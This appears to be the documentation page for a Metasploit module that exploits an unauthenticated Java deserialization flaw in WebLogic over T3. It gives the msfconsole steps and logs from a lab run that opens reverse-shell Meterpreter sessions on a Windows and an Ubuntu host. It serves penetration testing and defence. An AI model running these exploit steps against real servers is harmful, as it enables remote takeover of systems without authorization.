cgranleese-r7
4.5 KiB
Vulnerable Application
There exists a Java object deserialization vulnerability in multiple versions of WebLogic.
Unauthenticated remote code execution can be achieved by
sending a serialized BadAttributeValueExpException
object over the T3 protocol to vulnerable versions of
WebLogic. Leveraging an ExtractorComparator enables
the ability to trigger method.invoke(), which will
execute arbitrary code.
This module has been tested on WebLogic versions
v12.2.1.4.0, v12.2.1.3.0, and v12.1.3.0.0.
Installation
WebLogic versions can be downloaded from here.
Some version of Java 8 JDK is required to be installed on the server. This module has been tested successfully using jdk8u251.
Installation instructions for WebLogic can be found here.
On step 10 of the installation instructions, keep the
Run Quickstart box checked and click done. A new window
should pop up. Select Create a new domain -> next.
Ensure Basic WebLogic Server Domain is selected and click next.
Create credentials and select next. Domain mode can be either
Production or Development, then click next. Click next again
and select Create. Click next a couple more times, then click
finish.
To start WebLogic, execute the startWebLogic script in
Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/multi/misc/weblogic_deserialize_badattr_extcomp - Do:
set RHOSTS <target_ip> - Do:
set LHOSTS <attacker_ip> - Do:
set TARGET <0 for Windows or 1 for *NIX> - Do:
run - You should get a shell.
Scenarios
WebLogic v12.2.1.4.0 on Windows 10
msf > use exploit/multi/misc/weblogic_deserialize_badattr_extcomp
msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set rhosts 172.16.215.181
rhosts => 172.16.215.181
msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set lhost 172.16.215.1
lhost => 172.16.215.1
msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > run
[*] Started reverse TCP handler on 172.16.215.1:4444
[*] 172.16.215.181:7001 - Executing automatic check (disable AutoCheck to override)
[*] 172.16.215.181:7001 - WebLogic version detected: 12.2.1.4.0
[+] 172.16.215.181:7001 - The target appears to be vulnerable.
[*] 172.16.215.181:7001 - Sending handshake...
[*] 172.16.215.181:7001 - Formatting payload...
[*] 172.16.215.181:7001 - Sending object...
[*] Sending stage (176195 bytes) to 172.16.215.181
[*] Meterpreter session 1 opened (172.16.215.1:4444 -> 172.16.215.181:49724) at 2020-06-02 14:03:07 -0500
meterpreter > getuid
Server username: DESKTOP-AQT4EG1\space
meterpreter > sysinfo
Computer : DESKTOP-AQT4EG1
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
WebLogic v12.2.1.4.0 on Ubuntu 18.04
msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set target 1
target => 1
msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > set rhosts 172.16.215.180
rhosts => 172.16.215.180
msf exploit(multi/misc/weblogic_deserialize_badattr_extcomp) > run
[*] Started reverse TCP handler on 172.16.215.1:4444
[*] 172.16.215.180:7001 - Executing automatic check (disable AutoCheck to override)
[*] 172.16.215.180:7001 - WebLogic version detected: 12.2.1.4.0
[+] 172.16.215.180:7001 - The target appears to be vulnerable.
[*] 172.16.215.180:7001 - Sending handshake...
[*] 172.16.215.180:7001 - Formatting payload...
[*] 172.16.215.180:7001 - Sending object...
[*] Sending stage (980808 bytes) to 172.16.215.180
[*] Meterpreter session 2 opened (172.16.215.1:4444 -> 172.16.215.180:50522) at 2020-06-02 14:03:43 -0500
[*] 172.16.215.180:7001 - Command Stager progress - 101.56% done (715/704 bytes)
meterpreter > getuid
Server username: no-user @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer : 172.16.215.180
OS : Ubuntu 18.04 (Linux 5.3.0-51-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux